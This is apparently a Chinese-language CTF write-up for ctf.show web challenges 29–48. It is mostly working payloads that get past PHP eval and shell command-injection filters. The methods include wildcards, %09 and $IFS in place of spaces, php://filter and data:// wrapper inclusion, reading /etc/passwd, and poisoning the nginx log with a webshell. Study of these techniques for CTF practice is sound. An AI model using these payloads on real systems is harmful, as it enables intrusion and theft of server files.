29题
过滤了 flag
不包含flag 字符 就执行下一个eval函数
payload
payload1: system("tac%20fla*") 使用system和tac 来读取flag fla* 这里使用通配符
payload2: ?c=highlight_file(next(array_reverse(scandir(".")))); 这里使用php函数scandir来读取
当前目录下的文件 。使用array_reverse 进行反转 highlight_file函数用于读取指定文件的内容并对其进行语法高亮处理。
30题
增加了两个过滤 php 和 system
php可以依旧可以使用* 代替 ,system 可以使用exec 反引号 passthru 这几个常见参数
payload:
payload1: echo `ls` 使用反引号进行执行命令
payload2 echo exec($_GET[1]);&1=(ls) 但是这里我不知道为什么读取不到flag,能执行命令
payload3: passthru("tac%20fla*"); 这里要进行双引号不然读取不到 或者替换fla* 为 fla?????
31题
主要来看就是过滤了空格
可以使用 %09 来代替空格 %00 0a 这些没有用 也可以使用 $IFS$9
payload
payload1: echo%0aeval($_GET[1]);&1=system("tac%09fla*");
payload2: echo`tac%09fla*`;
payload3: passthru("tac%09fla?????");
payload4: show_source(next(array_reverse(scandir(pos(localeconv()))))); 通过函数来读取
32题
过滤了 空格 和 echo 和 ``
使用passthru 和 eval 这些联动 好像都没有 执行不了命令
这里使用文件包含的漏洞 和 php伪协议
include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
参考wp解释
https://ctf.show/writeups/1503329
33题
和上一题一样的解法
34题
echo过滤了,只能使用print include require
和上题解法差不多 ,但是换一种
使用 文件包含漏洞写shell
?c=include%0a$_GET[1]?>&1=../../../../../../var/log/nginx/access.log
使用user-agent 加上 一句话木马 然后写进日志 再利用文件包含漏洞来解析连接一句话木马
http://93d274e5-2ea8-469c-85fe-5f821ccdc2e5.challenge.ctf.show/?c=include%0a$_GET[1]?>&1=/var/log/nginx/access.log
连接payload
利用解析漏洞解析phpinfo()
35题
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
增加过滤<
依旧可以使用文件包含
phpinfo()
同上使用写shell和伪协议读取flag
36题
同上
37题
过滤了flag 且使用的文件包含 include 这里可以使用前面的日志 写shell
这里换一种协议 data
data://next/palin;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
这后面的base64是 system(tac flag.php) 他会解析后面的php 然后echo 输出出来flag
38题
同上使用data协议
c=data:text/plain;base64,PD9waHAgZWNobyBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL3Bhc3N3ZCcpKTsgPz4=
这里是读取/etc/passwd
payload
c=data://text/plain,<?=system('tac fl*.*');?>
这是不需要base64的
39题
同上
40题
过滤 0-9 还有很多符号
wp
https://ctf.show/writeups?challenge=402
说的意思是过滤了中文的括号 并没有去过滤英文的括号
然后使用php的函数来配合
payload
show_source(next(array_reverse(scandir(pos(localeconv())))));
GET ?c=eval(array_pop(next(get_defined_vars())))&1=system('tac fl*'); POST 1=system('tac fl*');
eval(next(reset(get_defined_vars())));&1=;system("tac%20flag.php");
41题 *****
难
42题
一开始想的思路是 闭合 ,但发现这是拼接闭合不了 ,他会把所有的输出到 /dev/null 这个是linux的空文件 所以就不会显示
但是在liunx 中 可以 用 ;执行多个 命令
所以可以使用cat flag ;ls 来获取flag ,这里符合可以使用liunx 的 多个命令来执行
cat flag.php;ls
cat flag.php||ls
cat flag.php%0a 0a换行
43题
过滤了cat ; 这两个
还可以使用tac 这些 百分号0a ||
44题
过滤flag
使用fla??? 绕过
more%20fla?????%0a
tac%20fla?????%0a
tac%20fla?????||ls
tac fla*.php||
45题
过滤空格
使用$IFS$9 或者 %09 绕过
tac$IFS$1fla?????||ls
tac%09fla?????%0a
46题
不能使用0-9 和$ 就不能使用$IFS去绕过了 这里使用百分号09
tac%09fla?????%0a 去绕过
tac%09fla?????%0a
47题
过滤了很多命令 但还是没有我喜欢用的tac
可以记住这几个命令
more|less|head|sort|tail
tac%09fla?????%0a
48题
tac%09fla?????||
nl<fla""g.php||
nl<fla''g.php||